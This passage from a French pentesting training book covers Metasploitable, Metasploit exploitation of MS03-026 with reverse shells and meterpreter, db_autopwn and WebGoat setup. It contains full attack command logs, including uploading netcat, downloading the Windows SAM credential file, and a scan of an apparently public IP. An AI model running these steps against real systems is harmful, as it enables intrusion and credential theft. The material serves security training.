http://<IP>/<Application>/
Par exemple, l’application Mutillidae est accessible à l’adresse :
http://192.168.56.101/mutillidae/
Les applications sont installées dans le répertoire /var/www.
Dans cette version, au moment de l’écriture de ce livre, nous avons :
Mutillidae (NOWASP Mutillidae 2.1.19)
DVWA (Damn Vulnerable Web Application)
phpMyAdmin
TikiWiki (TWiki)
TikiWiki-old
dav (WebDav)
a. Vulnérabilité web : Mutillidae
L’application web Mutillidae (NOWASP (Mutillidae)) contient toutes les vulnérabilités du
classement des 10 failles web de l’OWASP comme le stockage web HTML-5, clickjacking...
Le clickjacking est le moyen de forcer l’internaute à cliquer sur quelque chose sur une page
web pour lui faire exécuter une action malveillante.
Inspiré par DVWA, Mutillidae autorise l’utilisateur à changer le « niveau de sécurité » de 0
(complètement insécurisé) à 5 (sécurisé). En outre, trois niveaux ont été inclus : "Level 0 -
très difficile" à "Level 2 - novice".
Si l’application est endommagée par de l’injection ou des hacks, cliquez sur le bouton Reset
DB qui va remettre tout dans les conditions initiales.
Pour remettre le score des épreuves validées à zéro, il suffira de cliquer sur le bouton Toggle
hints de la barre de menu.
Vous pourrez trouver toutes les informations nécessaires aux adresses suivantes :
https://community.rapid7.com/docs/DOC-1875
http://www.offensive-security.com/metasploit-unleashed/Metasploitable
b. Vulnérabilité web : DVWA
Damn Vulnerable Web App (DVWA) est une application web écrite en PHP qui est
vulnérable. Son but principal est d’être une aide pour les professionnels de la sécurité pour
tester leurs connaissances et leurs outils dans un environnement légal. Elle a aussi pour but
d’aider le développeur à comprendre les processus de sécurité de leurs applications et enfin,
d’aider les enseignants et étudiants à enseigner ou apprendre les failles Web en classe.
DVWA contient des instructions dans sa page web et des informations additionnelles sont
disponibles sur la page wiki de DVWA : http://code.google.com/p/dvwa/w/list
Default username = admin
Default password = password
c. Vulnérabilité web : Information Disclosure
Une page d’information PHP peut être trouvée à cette adresse : http://<IP>/phpinfo.php. Dans
cet exemple, l’URL serait http://192.168.56.101/phpinfo.php.
Nous trouverons donc des informations internes au système et des informations sur les
versions des services qui peuvent être utilisées pour la recherche de vulnérabilités. Par
exemple, notons que la version de PHP indiquée dans la capture d’écran ci-après est une
version 5.2.4, il peut être possible qu’il soit donc vulnérable aux CVE (Common
Vulnerabilities and Exposures) CVE-2012-1823 et CVE-2012-2311 qui ont affecté les
versions de PHP avant 5.3.12 et 5.4.x avant 5.4.2.
Nous avons fait un peu le tour de la VM Metasploitable.
Nous allons revenir ici un peu sur Metasploit afin, pour ceux qui ne le connaissent pas, de le
prendre en main, et ceux qui le connaissent, de se remettre en tête son utilisation.
5. Metasploit
Nous pourrons l’installer sur notre machine attaquante afin de tester une plate-forme de
pentesting.
Metasploit est une plate-forme open source pour développer, tester et utiliser des exploits.
Cette application, à ses débuts, était un jeu en réseau et a évolué en une plate-forme de
pentesting, de développement d’exploits et de recherche de failles.
Nous pourrons faire une recherche sur Google afin de trouver le paquet nécessaire sous Linux
ou l’exécutable sous Windows.
a. Metasploit Command Line Interface (MSFCLI)
Nous utilisons pour l’instant Metasploit 2. Pour découvrir cette application, nous allons
utiliser la faille RCP DCOM exploit (MS03-026) contre notre victime, un Windows 2000
(192.168.29.15).
framework2 # ./msfcli |grep 026
msrpc_dcom_ms03_026
Microsoft RPC DCOM MSO3-026
framework2 #
Nous pouvons maintenant sélectionner l’exploit.
framework2 # ./msfcli msrpc_dcom_ms03_026 O
Exploit Options
===============
Exploit: Name Default Description
-------- ------ ------- ------------------
required RHOST
The target address
required RPORT 135
The target port
Target: Windows NT SP3-6a/2K/XP/2K3 English ALL
framework2 #
Nous pouvons maintenant choisir un PAYLOAD (P).
framework2 # ./msfcli msrpc_dcom_ms03_026 RHOST=192.168.9.14 P
Metasploit Framework Usable Payloads
====================================
win32_adduser
Windows Execute net user /ADD
win32_bind
Windows Bind Shell
win32_bind_dllinject
Windows Bind DLL Inject
win32_bind_meterpreter
Windows Bind Meterpreter DLL Inject
win32_bind_stg
Windows Staged Bind Shell
win32_bind_stg_upexec
Windows Staged Bind Upload/Execute
win32_bind_vncinject
Windows Bind VNC Server DLL Inject
win32_downloadexec
Windows Executable Download and Execute
win32_exec
Windows Execute Command
win32_passivex
Windows PassiveX ActiveX Injection Payload
win32_passivex_meterpreter Windows PassiveX ActiveX Inject
Meterpreter
win32_passivex_stg
Windows Staged PassiveX Shell
win32_passivex_vncinject Windows PassiveX ActiveX VNC Server
Payload
win32_reverse
Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_ord
Windows Staged Reverse Ordinal Shell
win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server
Inject
win32_reverse_stg
Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject
framework2 #
Nous allons utiliser un bind shell (win32_bind) et choisir la cible (T) :
framework2# ./msfcli msrpc_dcom_ms03_026 RHOST=192.168.9.14
PAYLOAD=win32_bind T
Supported Exploit Targets
=========================
0 Windows NT SP3-6a/2K/XP/2K3 English ALL
framework2 #
Nous pouvons maintenant lancer l’exploit ainsi créé.
framework2#./msfcli msrpc_dcom_ms03_026 RHOST=192.168.9.14
PAYLOAD=win32_bind E
[*] Starting Bind Handler.
[*] Sending request...
[*] Got connection from 192.168.9.100:36687 <-> 192.168.9.14:4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Nous obtenons un shell Windows de la machine distante.
b. Metasploit Console (MSFCONSOLE)
Nous allons refaire la même chose mais avec msfconsole :
framework2 # ./msfconsole
+ -- --=[ msfconsole v2.7 [157 exploits - 76 payloads]
msf > help
Metasploit Framework Main Console Help
? Show the main console help
cd Change working directory
exit Exit the console
help Show the main console help
info Display detailed exploit or payload information
quit
Exit the console
reload Reload exploits and payloads
save Save configuration to disk
setg Set a global environment variable
show Show available exploits and payloads
unsetg Remove a global environment variable
use
version
Select an exploit by name
Show console version
msf > show exploits
msf > use msrpc_dcom_ms03_026
msf msrpc_dcom_ms03_026 > set RHOST 192.168.9.14
RHOST -> 192.168.9.14
msf msrpc_dcom_ms03_026 > set LHOST 192.168.9.100
LHOST -> 192.168.9.100
msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf msrpc_dcom_ms03_026(win32_reverse) > show TARGETS
Supported Exploit Targets
=========================
0 Windows NT SP3-6a/2K/XP/2K3 English ALL
msf msrpc_dcom_ms03_026(win32_reverse) > set TARGET 0
TARGET -> 0
msf msrpc_dcom_ms03_026(win32_reverse) > exploit
[*] Starting Reverse Handler.
[*] Sending request...
[*] Got connection from 192.168.9.100:4321 <-> 192.168.9.14:1031
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
c. Metasploit Web Interface (MSFWEB)
MSFWEB lance un serveur sur le port 55555, IP 127.0.0.1.
Si nous nous connectons sur ce port avec un navigateur web, nous obtenons l’interface
graphique de Metasploit.
Essayons d’exploiter un vnc_reverse sur la même machine que précédemment.
framework2 # ./msfweb
+----=[ Metasploit Framework Web Interface (127.0.0.1:55555)
Cette version peut sembler un peu vieillotte mais peut encore nous aider dans certains cas.
Nous retrouvons trois liens : EXPLOITS, PAYLOADS et SESSIONS.
SESSIONS ne nous servira que lorsqu’un exploit aura fonctionné pour accéder à la machine
victime.
Nous avons la possibilité de filtrer la recherche par service par exemple (FTP, HTTP...) ou par
OS (Operating System).
Une fois que nous avons sélectionné l’exploit que nous voulons utiliser, une nouvelle fenêtre
apparaît qui va nous permettre d’entrer les informations nécessaires, comme l’adresse IP de la
victime, le port de la victime, notre adresse IP...
Bien sûr, les informations à fournir diffèrent suivant l’exploit selectionné.
Quand l’exploit est lancé, et s’il réussit, nous avons comme dans l’exemple ci-dessus une
information « [*] Shell started on session 1 ».
Une fenêtre VNC apparaît alors si l’exploit a fonctionné.
d. Meterpreter Payload
Meterpreter est un payload multifonction avancé qui va nous fournir un shell basique à partir
duquel nous pourrons ajouter les fonctions désirées pour notre exploit.
Meterpreter est un payload car il permet d’avoir un shell particulier qui va vous permettre de
n’envoyer que la partie utile de vos messages (commandes) sans encapsulation des en-têtes du
protocole TCP/IP par exemple.
Meterpreter est très pratique parce qu’il nous proposera un shell meterpreter qui va nous
permettre bien plus d’actions qu’un payload classique. Nous pourrons lancer à partir du shell
meterpreter un shell bash, déposer ou télécharger des fichiers, des exécutables, faire des
dumps mémoire…
msf > use msrpc_dcom_ms03_026
msf msrpc_dcom_ms03_026 > show payloads
Metasploit Framework Usable Payloads
====================================
win32_adduser
win32_bind
win32_bind_dllinject
win32_bind_meterpreter
win32_bind_stg
win32_bind_stg_upexec
win32_bind_vncinject
win32_downloadexec
Windows Execute net user /ADD
Windows Bind Shell
Windows Bind DLL Inject
Windows Bind Meterpreter DLL Inject
Windows Staged Bind Shell
Windows Staged Bind Upload/Execute
Windows Bind VNC Server DLL Inject
Windows Executable Download and Executewin32_exec
Windows Execute Command
win32_passivex
Windows PassiveX ActiveX Injection Payload
win32_passivex_meterpreter
win32_passivex_stg
Windows Staged PassiveX Shell
win32_passivex_vncinject
win32_reverse
Windows PassiveX ActiveX Inject Meterpreter Payload
Windows PassiveX ActiveX Inject VNC Server Payload
Windows Reverse Shell
win32_reverse_dllinject
Windows Reverse DLL Inject
win32_reverse_meterpreter
win32_reverse_ord
Windows Reverse Meterpreter DLL Inject
Windows Staged Reverse Ordinal Shell
win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server
Inject
win32_reverse_stg
Windows Staged Reverse Shell
win32_reverse_stg_upexec
win32_reverse_vncinject
Windows Staged Reverse Upload/Execute
Windows Reverse VNC Server Inject
msf msrpc_dcom_ms03_026(in32_bind_meterpreter) > set PAYLOAD
win32_bind_meterpreter
PAYLOAD -> win32_bind_meterpreter
msf msrpc_dcom_ms03_026(win32_bind_meterpreter) > set RHOST
192.168.9.14
RHOST -> 192.168.9.14
msf msrpc_dcom_ms03_026(win32_bind_meterpreter) > exploit
[*] Starting Reverse Handler.
[*] Sending request...
[*] Got connection from 192.168.9.100:4321 <-> 192.168.9.14:1031
meterpreter>
Nous obtenons un shell meterpreter.
Il faut maintenant charger le système de fichiers et des librairies dans meterpreter.
meterpreter> use -m Process
loadlib: Loading library from ’ext180401.dll’ on the remote
machine.
Meterpreter>
loadlib: success.
meterpreter> use -m Fs
loadlib: Loading library from ’ext290706.dll’ on the remote
machine.
meterpreter>
loadlib: success.
meterpreter> help
Nous pouvons maintenant envoyer ou télécharger des fichiers, exécuter des commandes shell,
gérer les processus en interactivité avec eux...
meterpreter> upload /home/fasm/windows-binaries/tools/nc.exe
c:\windows
upload: Starting upload of ’/home/fasm/windows-
binaries/tools/nc.exe’ to ’c:\windows\nc.exe’.
upload: 1 uploads started.
meterpreter>
upload: Upload from ’/home/fasm/windows-binaries/tools/nc.exe’
succeeded.
meterpreter> download c:\windows\repair\sam /tmp
download: Starting download from ’c:\windows\repair\sam’ to
’/tmp/sam’...
download: 1 downloads started.
meterpreter>
download: Download to ’/tmp/sam’ succeeded.
meterpreter>
meterpreter> ps
meterpreter>
Process list:
Pid
Name Path
----- ------------ ----------
00360 smss.exe \SystemRoot\System32\smss.exe
00528 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
00556 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
00604 services.exe C:\WINDOWS\system32\services.exe
00616
lsass.exe C:\WINDOWS\system32\lsass.exe
00864 svchost.exe C:\WINDOWS\system32\svchost.exe
01008 svchost.exe C:\WINDOWS\System32\svchost.exe
01084 svchost.exe C:\WINDOWS\System32\svchost.exe
01156 svchost.exe C:\WINDOWS\System32\svchost.exe
01360 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
01588 VMwareService.exe C:\Program Files\VMware\VMware
Tools\VMwareService.exe
01172 Explorer.EXE C:\WINDOWS\Explorer.EXE
01048 VMwareTray.exe C:\Program Files\VMware\VMware
Tools\VMwareTray.exe
01292 VMwareUser.exe
C:\Program Files\VMware\VMware Tools\VMwareUser.exe
01776 cmd.exe C:\WINDOWS\System32\cmd.exe
01168 logon.scr C:\WINDOWS\System32\logon.scr
17 processes.
Meterpreter>
meterpreter> execute -H -f cmd -c
execute: Executing ’cmd’...
meterpreter>
execute: success, process id is 492.
execute: allocated channel 6 for new process.
meterpreter> interact 6
interact: Switching to interactive console on 6...
meterpreter>
interact: Started interactive channel 6.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>exit
exit
interact: Ending interactive session.
Meterpreter>
e. Framework 3
Le framework 3 a été complètement réécrit en Ruby. La philosophie est la même que pour le
framework 2.
Les frameworks 2 et 3 sont inclus par défaut dans la BackTrack. Tout ce que nous avons vu
avant est donc valable pour cette version.
Modules auxiliaires
Le framework 3 a intégré des modules auxiliaires très utiles comme UDP discovery sweeps
et SMB host identification features.
framework3 # ./msfconsole
=[ msf v3.0-beta-dev
+ -- --=[ 132 exploits - 99 payloads
+ -- --=[ 17 encoders - 4 nops
=[ 27 aux
msf > show
msf > use scanner/discovery/sweep_udp
msf auxiliary(sweep_udp) > set RHOSTS 172.16.2.1/24
RHOSTS => 172.16.2.1/24
msf auxiliary(sweep_udp) > run
[*] Sending 6 probes to 172.16.2.0->172.16.2.255 (256 hosts)
[*] Discovered NetBIOS on 172.16.2.203 ()
[*] Discovered NetBIOS on 172.16.2.204 ()
[*] Discovered NetBIOS on 172.16.2.202 ()
[*] Discovered NetBIOS on 172.16.2.201 ()
[*] Discovered SQL Server on 172.16.2.201
(tcp=1433np=\\BA8C9725C4334BF\pipe\sql\query Version=8.00.194
ServerName=BA8C9725C4334BF
IsClustered=No InstanceName=MSSQLSERVER )
[*] Auxiliary module execution completed
msf auxiliary(sweep_udp) > use scanner/smb/version
msf auxiliary(version) > set RHOSTS 172.16.2.201-172.16.2.204
RHOSTS => 172.16.2.201-172.16.2.204
msf auxiliary(version) > run
[*] 172.16.2.201 is running Windows 2000 Service Pack 0 - Service
Pack 4
[*] 172.16.2.202 is running Windows XP Service Pack 0 / Service
Pack 1
[*] 172.16.2.203 is running Windows XP Service Pack 0 / Service
Pack 1
[*] 172.16.2.204 is running Windows XP Service Pack 0 / Service
Pack 1
[*] Auxiliary module execution completed
msf auxiliary(version) > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > set RHOSTS 172.16.2.201
RHOSTS => 172.16.2.201
msf auxiliary(mssql_ping) > run
[*] SQL Server information for 172.16.2.201:
[*] tcp = 1433
[*] np = \\BA8C9725C4334BF\pipe\sql\query
[*] Version
= 8.00.194
[*] ServerName
[*] IsClustered
[*] InstanceName
= BA8C9725C4334BF
= No
= MSSQLSERVER
[*] Auxiliary module execution completed
msf auxiliary(mssql_ping) > use scanner/mssql/mssql_login
msf auxiliary(mssql_login) > set RHOSTS 172.16.2.201
RHOSTS => 172.16.2.201
msf auxiliary(mssql_login) > run
[*] Target 172.16.2.201 does have a null sa account...
[*] Auxiliary module execution completed
db_autopwn
Le module db_autopwn peut être utilisé pour le port scanning et la connexion aux ordinateurs
en utilisant Nmap (db_nmap), tous les résultats sont entrés dans une base de données
Postgres.
Suivant les ports ouverts découverts par le scan, Metasploit exécute automatiquement des
exploits contre ces machines.
db_autopwn n’est plus géré par Metasploit mais il est toujours possible de l’utiliser.
Il nous faudra récupérer db_autopwn.rb sur Internet :
https://github.com/jeffbryner/kinectasploit/blob/master/db_autopwn.rb
Nous sauvegarderons ce programme dans /pentest/exploits/framework/plugins/db_autopwn.rb
:
root@bt:~# su postgres
sh-4.1$ psql
could not change directory to "/root"
psql (8.4.8)
Type "help" for help.
postgres=# create user test with password ’test’;
CREATE ROLE
postgres=# create database cdaisi_db;
CREATE DATABASE
postgres=#
msfconsole
db_connect test:[email protected]/cdaisi_db
db_nmap 213.136.96.12
load db_autopwn
db_autopwn -t -p -e -s -b
framework3 # ./start-db_autopwn
The files belonging to this database system will be owned by user
"postgres".
This user must also own the server process.
The database cluster will be initialized with locale C.
creating directory /home/postgres/metasploit3 ... ok
creating directory /home/postgres/metasploit3/global ... ok
...
initializing dependencies ... ok
creating system views ... ok
loading pg_description ... ok
creating conversions ... ok
setting privileges on built-in objects ... ok
creating information schema ... ok
vacuuming database template1 ... ok
copying template1 to template0 ... ok
copying template1 to postgres ... ok
WARNING: enabling "trust" authentication for local connections
You can change this by editing pg_hba.conf or using the -A option
the next time you run initdb.
Success. You can now start the database server using:
postmaster -D /home/postgres/metasploit3
or pg_ctl -D /home/postgres/metasploit3 -l logfile start
postmaster starting
[**************************************************************]
[*] Postgres should be setup now. To run db_autopwn, please:
[*] # su - postgres[*] # cd /home/fasm/framework3
{*] # ./msfconsole
[*] msf> load db_postgres
[**************************************************************]
BT framework3 # LOG: database system was shut down at 2006-12-10
06:53:28 GMT
LOG: checkpoint record is at 0/33A6AC
LOG: redo record is at 0/33A6AC; undo record is at 0/0; shutdown
TRUE
LOG: next transaction ID: 565; next OID: 10794
LOG: next MultiXactId: 1; next MultiXactOffset: 0
LOG: database system is ready
LOG: transaction ID wrap limit is 2147484146, limited by database
"postgres"
BT framework3 # su - postgres
/dev/pts/0: Operation not permitted
BT ~ $ cd /home/fasm/framework3
BT framework3 $ ./msfconsole
____________
< metasploit >
------------
=[ msf v3.0-beta-dev
+ -- --=[ 131 exploits - 99 payloads
+ -- --=[ 17 encoders - 4 nops
=[ 27 aux
msf > load db_postgres
[*] Successfully loaded plugin: db_postgres
msf > db_create
ERROR: database "metasploit3" does not exist
dropdb: database removal failed: ERROR: database "metasploit3"
does not exist
LOG: transaction ID wrap limit is 2147484146, limited by database
"postgres"
CREATE DATABASE
ERROR: table "hosts" does not exist
ERROR: table "hosts" does not exist
NOTICE: CREATE TABLE will create sequence "hosts_id_seq" for
serial column
"hosts.id"NOTICE: CREATE TABLE / PRIMARY KEY will create implicit
index "refs_pkey" for table "refs"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index
"refs_pkey" for table "refs"
ERROR: table "vulns_refs" does not exist
ERROR: table "vulns_refs" does not exist
msf > db_hosts
msf > db_nmap-p 445 172.16.2.*
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2006-12-10
06:56 GMT
Interesting ports on 172.16.2.1:
PORT STATE SERVICE
445/tcp closed microsoft-ds
Nmap finished: 256 IP addresses (1 host up) scanned in 15.476
seconds
msf > db_Nmap-p 445 172.16.2.*
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2006-12-10
06:57 GMT
Interesting ports on 172.16.2.1:
PORT STATE SERVICE
445/tcp closed microsoft-ds
Interesting ports on 172.16.2.202:
PORT STATE SERVICE
445/tcp open microsoft-ds
Interesting ports on 172.16.2.203:
PORT STATE SERVICE
445/tcp open microsoft-ds
Interesting ports on 172.16.2.206:
PORT STATE SERVICE
445/tcp open microsoft-ds
Nmap finished: 256 IP addresses (4 hosts up) scanned in 15.323
seconds
msf > db_hosts
[*] Host: 172.16.2.202
[*] Host: 172.16.2.203
[*] Host: 172.16.2.206
msf > db_autopwn -p -e -r
[*] Launching auxiliary/dos/windows/smb/ms05_047_pnp (1/42)
against 172.16.2.206:445...
[*] Launching exploit/windows/smb/ms06_066_nwwks (2/42) against
172.16.2.203:445...
[*] Started reverse handler
[*] Launching exploit/windows/smb/ms06_040_netapi (3/42) against
172.16.2.202:445...[*] Connecting to the SMB service...
[*] Started reverse handler
[*] Launching exploit/windows/smb/ms03_049_netapi (5/42) against
172.16.2.203:445...
[*] Connecting to the SMB service...
[*] Launching exploit/windows/smb/ms05_039_pnp (10/42) against
172.16.2.206:445...
[*] Bound to 3919286a-b10c-11d0-9ba8-
00c04fd92ef5:0.0@ncacn_np:172.16.2.202[\lsarpc]...
[*] Getting OS information...
[*] Command shell session 2 opened (172.16.2.1:8368 ->
172.16.2.202:1059)
[*] Trying to exploit Windows 5.1
[*] Command shell session 3 opened (172.16.2.1:22349 ->
172.16.2.206:1041)
msf > sessions -l
Active sessions
===============
Id Description Tunnel
-- -----------
------
1 Command shell 172.16.2.1:23443 -> 172.16.2.202:1058
2 Command shell 172.16.2.1:12927 -> 172.16.2.203:1099
3 Command shell 172.16.2.1:37995 -> 172.16.2.206:1040
msf > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
f. Fasttrack
Fasttrack permet d’automatiser même db_autopwn, nous pourrons donc le tester.
Pour cela, il faut faire aussi une petite modification avant que ce dernier ne fonctionne.
Allons dans le répertoire /pentest/exploits/fasttrack/bin/ftsrc et ouvrons le fichier autopwn.py :
Nous pouvons ajouter la ligne en face du curseur (carré blanc) et ensuite enregistrer le fichier.
Nous pouvons maintenant utiliser db_autopwn et fasttrack.
Si nous lançons fasttrack simplement, nous obtenons cela :
------------------------------------------------
Fast-Track v3.0 - Where speed really does matter...
Automated Penetration Testing
Written by David Kennedy (ReL1K)
SecureState, LLC
http://www.securestate.com
Please read the README and LICENSE before using
this tool for acceptable use and modifications.
-------------------------------------------------
Modes:
Interactive Menu Driven Mode: -i
Command Line Mode: -c
Web GUI Mode -g
Examples: ./fast-track.py -i
./fast-track.py -c
./fast-track.py -g
./fast-track.py -g <portnum>
Usage: ./fast-track.py <mode>
Nous lancerons donc ./fasttrack -i
Il ne nous reste plus qu’à suivre les indications pour exécuter autopwn.
WebGoat
1. Présentation
Dans la section précédente, nous avons utilisé une plate-forme d’entraînement disponible sous
forme d’une machine virtuelle complète. Il peut être intéressant d’installer une plate-forme
d’entraînement destinée à la découverte de failles web uniquement, mais très complète dans
ce domaine. L’OWASP (Open Web Application Security Project) met à disposition une
application Java nommée WebGoat, très intéressante. Le fichier à installer se présente sous la
forme d’une archive WAR (Web Application Archive). Il nécessite l’installation d’un serveur
Tomcat et le réglage de quelques paramètres dans les fichiers de configuration. Nous allons
réaliser cette installation pas à pas dans la section suivante.
2. Installation de WebGoat
Dans un premier temps il faut récupérer l’archive WAR que l’on trouve à l’adresse suivante :
https://code.google.com/p/webgoat/downloads/list
Ensuite, il nous faut créer un conteneur Debian6. Nous pouvons utiliser la machine WEB2
créée au premier chapitre ou en créer une nouvelle très facilement grâce au conteneur de
Proxmox.
Une fois que nous sommes dans une console du conteneur, nous allons installer un serveur
Tomcat et une machine virtuelle Java pour faire tourner celui-ci (JRE - Java Runtime
Environment). Mais dans les dépôts principaux de Debian, nous ne trouvons que OpenJDK, il
faut donc modifier le fichier sources.list pour ajouter les branches contrib et non-free. Voici le
nouveau contenu de notre fichier /etc/apt/sources.list :
deb http://ftp.debian.org/debian squeeze main contrib non-free
deb http://ftp.debian.org/debian squeeze-updates main contrib non-free
deb http://security.debian.org squeeze/updates main contrib
Il faut ensuite actualiser le cache des dépôts puis faire une recherche d’un JRE pour voir si
celui de Sun est bien présent :
root@WEB2:/# aptitude update
Get:1 http://security.debian.org squeeze/updates Release.gpg [836 B]
Ign http://security.debian.org/ squeeze/updates/contrib
Translation-en
Ign http://security.debian.org/ squeeze/updates/main Translation-en
Get:2 http://ftp.debian.org squeeze Release.gpg [1672 B]
Ign http://ftp.debian.org/debian/ squeeze/contrib Translation-en
Ign http://ftp.debian.org/debian/ squeeze/main Translation-en
Ign http://ftp.debian.org/debian/ squeeze/non-free Translation-en
…
root@WEB2:/# aptitude search jre
p default-jre -
Standard Java or Java compatible Runtime
p default-jre-headless -
Standard Java or Java compatible Runtime (headless)
p docbook-jrefentry -
DocBook XML JRefEntry DTD
p gcj-4.4-jre -
Java runtime environment using GIJ/classpath
p gcj-4.4-jre-headless -
Java runtime environment using GIJ/classpath (headless version)
p gcj-4.4-jre-lib -
Java runtime library for use with gcj (jar files)
p gcj-jre -
Java runtime environment using GIJ/classpath
p gcj-jre-headless -
Java runtime environment using GIJ/classpath (headless version)
p icedtea-6-jre-cacao -
Alternative JVM for OpenJDK, using Cacao
v icedtea6-jre-cacao -
p libjrexx-java -
automaton based regular expression API for java
p openjdk-6-jre -
OpenJDK Java runtime, using Hotspot JIT
p openjdk-6-jre-headless -
OpenJDK Java runtime, using Hotspot JIT (headless)
p openjdk-6-jre-lib -
OpenJDK Java runtime (architecture independent libraries)
v openjdk-6-jre-shark -
p openjdk-6-jre-zero -
Alternative JVM for OpenJDK, using Zero/Shark
p sun-java6-jre
Nous voyons que le JRE de Sun est présent. Installons-le :
root@WEB2:/# aptitude install sun-java6-jre
Lors de cette installation, nous devons accepter les termes de la licence, le logiciel n’étant pas
libre.
Puis nous installons le serveur Tomcat :
root@WEB2:/# aptitude install tomcat6
The following NEW packages will be installed:
authbind{a} libcommons-collections3-java{a} libcommons-dbcp-
java{a} libcommons-pool-java{a} libecj-java{a} libservlet2.5-
java{a}
libtomcat6-java{a} tomcat6 tomcat6-common{a}
0 packages upgraded, 9 newly installed, 0 to remove and 22 not
upgraded.
Need to get 5472 kB of archives. After unpacking 6911 kB will be
used.
Do you want to continue? [Y/n/?]
Get:1 http://ftp.debian.org/debian/ squeeze/main authbind i386
1.2.0 [16.6 kB]
Get:2 http://ftp.debian.org/debian/ squeeze/main libcommons-
collections3-java all 3.2.1-4 [601 kB]
Get:3 http://ftp.debian.org/deb....
et stoppons le service :
root@WEB2:/# /etc/init.d/tomcat6 stop
Stopping Tomcat servlet engine: tomcat6.
root@WEB2:/#
Nous avons indiqué l’adresse où récupérer le fichier WAR de WebGoat, mais comment
télécharger celui-ci dans notre conteneur ? Nous sommes dans une console en ligne de
commande ; un petit navigateur mode texte peut être très utile. Commençons par installer
lynx, puis lançons-le avec l’adresse des fichiers de Webgoat :
root@WEB2:~# aptitude install lynx
root@WEB2:~# lynx https://code.google.com/p/webgoat/downloads/list
Nous sommes face à l’écran suivant et pouvons naviguer à l’aide des flèches du clavier. Nous
nous rendons sur le fichier WAR et pressons la touche [Entrée].
Lynx nous propose alors de le télécharger en bas de la page. Attention, après le
téléchargement, le fichier n’est pas encore enregistré sur le disque et il faudra indiquer à Lynx
de faire cette opération.
Ce fichier doit être copié dans le dossier /var/lib/tomcat6/webapps/ et renommé en
webgoat.war.
cp WebGoat-5.4.war /var/lib/tomcat6/webapps/webgoat.war
Il ne reste plus qu’a régler les utilisateurs dans le fichier /etc/tomacat6/tomcat-users.xml du
Tomcat. Voici ce qu’il doit contenir :
<?xml version=’1.0’ encoding=’utf-8’?>
<tomcat-users>
<role rolename="webgoat_basic"/>
<role rolename="webgoat_admin"/>
<role rolename="webgoat_user"/>
<role rolename="tomcat"/>
<user password="webgoat" roles="webgoat_admin"
username="webgoat"/>
<user password="basic" roles="webgoat_user,webgoat_basic"
username="basic"/>
<user password="tomcat" roles="tomcat" username="tomcat"/>
<user password="guest" roles="webgoat_user" username="guest"/>
</tomcat-users>
Tout est prêt. Nous lançons le serveur.
root@WEB2:~# /etc/init.d/tomcat6 start
L’adresse où se trouve WebGoat est http://votreip/webgoat/attack. Une identification est
demandée. Le nom d’utilisateur est webgoat ainsi que son mot de passe. Une fois celle-ci
faite, nous sommes face à l’écran suivant :
L’installation est terminée, nous pouvons passer à l’utilisation avec quelques exemples.
Si vous rencontrez des problèmes, nous vous invitons à lire le fichier README-5.4.txt ainsi
qu’à consulter la foire aux questions dans le wiki.
3. Utilisation de WebGoat
L’entraînement peut commencer en cliquant sur Start WebGoat en bas de la page. Un menu
latéral présente alors une grande quantité de leçons. Voyons comment en solutionner
quelques-unes.
Commençons par la toute première pour nous familiariser avec WebGoat. Nous allons dans le
menu General puis Http Basics.
On nous indique qu’il faut utiliser WebScarab pour intercepter la requête. Le plus simple est
de réaliser ces épreuves depuis une distribution BackTrack. Nous disposerons ainsi de tous les
outils préinstallés. Lançons WebScarab depuis notre BackTrack. Il se trouve dans le dossier
web du dossier pentest :
root@bt:~# cd /pentest/web/
root@bt:/pentest/web# ls
asp-auditor dirbuster htexploit plecost uniscan
websecurify
backdoors dotdotpwn joomscan powerfuzzer untidy
webslayer
beef dpscan mantra proxystrike vega
wfuzz
blindelephant fimap mopest scanners w3af
wpscan
burpsuite golismero nikto skipfish waffit
xsser
darkmysqli grabber owasp-zap sslstrip wapiti
xssfuzz
dirb grendel-scan padbuster sslyze webscarab
root@bt:/pentest/web# cd webscarab/
root@bt:/pentest/web/webscarab# ls
readme.txt webscarab-one-20110329-1330.jar
root@bt:/pentest/web/webscarab# java -jar webscarab-one-20110329-
1330.jar
No plugins found!
Using WebScarab.whitelistRegex pattern : null. Will not save any
data for requests not matching this pattern
Help set not found
04:40:39 main(Proxy.parseListenerConfig): No proxies configured!?
04:40:39 main(SSLSocketFactoryFactory.<init>): Generating CA key
04:40:41 Listener-127.0.0.1:8008(Listener.listen): Proxy listening
on 127.0.0.1:8008
Comme c’est un fichier jar, nous le démarrons avec la commande java -jar. Nous sommes
alors devant WebScarab.
Pour rediriger le flux de communication entre le navigateur et le serveur, il faut régler le
proxy du navigateur pour qu’il écoute sur la boucle locale sur le port 8008.
Ce réglage se trouve, dans Firefox, dans le menu Preferences, panneau Advanced (avancé),
onglet Network (réseau) et Settings (paramètres).
Nous cliquons ensuite sur le bouton GO du formulaire et interceptons les données avec
WebScarab. Nous constatons en visualisant un POST qu’il existe dans l’en-tête un cookie et
une authentification Basic.
Il nous faut modifier ces éléments et rejouer le POST pour valider l’épreuve. Un message
s’affiche nous indiquant que nous venons de valider l’épreuve.
Passons à une autre leçon. Nous ne sommes pas obligés de les aborder dans l’ordre et pouvons
nous entraîner sur un sujet particulier que nous voulons traiter. Prenons par exemple les failles
XSS (Cross-Site-Scripting) et choisissons la première leçon de cette branche : Phishing with
XSS.
